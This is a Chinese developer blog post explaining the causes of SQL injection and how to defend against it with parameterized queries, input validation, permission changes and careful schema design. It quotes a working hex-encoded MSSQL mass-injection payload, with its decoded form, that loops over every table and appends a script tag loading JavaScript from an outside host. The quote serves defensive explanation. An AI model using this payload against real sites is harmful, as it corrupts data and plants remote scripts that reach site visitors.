被SQL注入了,自己是否认真研究过,根源在哪里,网络上那些垃圾文章的确没有什么有效的,这种痛苦我是经历过的,自己自己安静下来,寻求解决问题的根本才是关键。
SQL注入的原因很简单,google之后大家也都心知肚明,就那么回事。在程序不做任何处理拼接SQL语句,不被注入,不被盯上都很难。
给你几点中肯的建议:
1.检查是否已经关闭错误提示,可以修改配置文件来实现,这里不针对某种特定语言或者框架而言,都可以实现的,具体操作google。
2.应用程序中,对于GET方式提交,从URL中直接获取参数值未作任何处理直接在程序中拼接SQL语句,通过应用程序中的数据库组建直接运行拼接之后的SQL语句,这种白痴做法对于一个菜鸟来说是最常见的行为,这也是菜鸟人生中非常常见的一幕。
解决办法:关键词,参数化、存储过程化,这也是彻底根绝SQL注入的唯一方法。我以自己最为熟悉的ADO.NET为例,SqlParameter能为你提供一个非常好的沙盒模型,强制执行参数类型和长度检查,并同时确保注入数据库中的代码被视为文本数据(而非可执行语句)。
如果在存储过程中,构建动态SQL语句,那么也可以通过参数化的手段来有效避免SQL注入,要完全做到根绝,任何人都不敢打包票。
POST提交和cookie注入也是一样,对于所有的提交的数据入库之前所有数据来源都应该被视为不可信的,必须要经过验证(客户端和服务器端均需要、甚至数据库端的必要验证也是必须的)方可入库,宁可存在错杀不可放过一个,呵呵。
3.数据库设计,也是有效避免SQL注入非常关键的一环。最近流行的SQL注入模式手段颇为高明,采取16进制编码,类似于如下:
;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E7665727428766172636861722C5B272B40432B275D29292B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
解析后:
DECLARE @S CHAR(4000);SET @S=CAST(DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"> </title> <script src="http://js.users.51.la/1981162.js"> </script> <!--'' where '+@C+' not like ''%"> </title> <script src="http://js.users.51.la/1981162.js"> </script> <!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor AS CHAR(4000));EXEC(@S);
看到上面的代码,如果您对数据库稍微有所了解,会联想到以下几个关键词:游标,sysobjects、syscolumns。这也就是为什么有人说,去掉public(这个是什么,针对MSSQL来说,这个是所有数据库用户默认赋予的基本角色,可以通过MSSQL的企业管理器来配置的,修改这个角色所能具备操作权限)角色中sysobjects与syscolumns对象的select访问权限。如何操作不再复述,不会的菜鸟,自己google,凡是自己动手理解和记忆会更为深刻,这是提升自我必须走的道路。
上述代码还透露出一个信息,游标会遍历该库下的所有表,注入不是针对某张表,而是整个数据库。例如某张表中的字段为text类型,那么会转换为char(4000),然后进行update,你会发现,text类型字段的存储内容早已逝去……,这是很恶劣很头疼的。
在构建整个数据库时候,对于每一张表,都需要经过深思熟虑的,这个工作应该交给有经验的专职DBA来做,但是在中国,这种工作多半由我们程序员自行完成了。那么我谈谈在工作中总结下来的几个小经验:
1. 如果一个字段能使用整型、浮点型、日期类型的,切勿随意使用字符串类型代替。
2. 以MSSQL为例,varchar/nvarchar这些字符串类型,在企业管理器中使用设计器设计时候,会默认为50字节,如果你默许而无动于衷,那么第一你有可能浪费了不少空间,第二为注入留下了余地,你本身该字段最多只可能使用到20个字节,你偏偏默认为50,这能怪谁呢?怪自己懒惰,呵呵。
3. 在存储过程中构造动态SQL语句的时候,务必使用好QUOTENAME 和 REPLACE 函数,可以为你带来一定安全保证。
4. 让我想想,一时半会总结不了这么多,等待下一次的井喷的时候,再告诉你吧,呵呵。
很晚了,都临晨3点了,看了许多朋友都困扰SQL注入,有感而发,从自己的实际工作中出发,说了些感触,欢迎拍砖,呵呵。
注入
最新推荐文章于 2024-09-09 09:47:53 发布